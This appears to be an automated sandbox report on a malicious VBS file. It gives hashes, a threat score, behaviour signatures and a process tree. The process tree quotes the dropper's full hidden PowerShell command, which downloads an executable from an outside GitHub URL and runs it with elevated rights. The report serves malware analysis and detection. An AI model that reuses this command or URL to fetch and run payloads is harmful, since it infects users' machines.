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Analysis

  • max time kernel
    94s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    06/10/2024, 01:17

General

  • Target

    7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac.vbs

  • Size

    10KB

  • MD5

    8e0172134b7f15992d6464767e423996

  • SHA1

    071ee6dec991cbf30c9535a9cc119742dc273206

  • SHA256

    7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac

  • SHA512

    350a56053a31ab1d4231cba01c4f84d9fae371dcf979ad1d7c334b92b428f1105e2ef447296ce1db0c6ddb64b9ee1f0d8db4398754d5a898f2eb163a6b451ba1

  • SSDEEP

    96:c8LFHzb+U5X4wrqqeH+5YoieyzgJABJ/fxrQsuO3zKA6pT8dmbTij+aUSH:cmFmU5KHJVerJABRu6N1dmnh8H

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://github.com/darkZeusWeb/loadersoft/raw/refs/heads/main/stubInf.exe

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7cbcd631a4e13b12f1577b073d66c0ff99a3b1d59589e8064cda7b1a06d7cfac.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "(new-object System.Net.WebClient).DownloadFile('http://github.com/darkZeusWeb/loadersoft/raw/refs/heads/main/stubInf.exe', 'C:\Windows\SysWOW64\stubInf.exe'); Start-Process 'C:\Windows\SysWOW64\stubInf.exe' -Verb runas"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2952

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2952-4-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

    Filesize

    4KB

  • memory/2952-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

    Filesize

    2.9MB

  • memory/2952-6-0x0000000002690000-0x0000000002698000-memory.dmp

    Filesize

    32KB

  • memory/2952-7-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2952-8-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2952-10-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2952-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2952-11-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2952-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB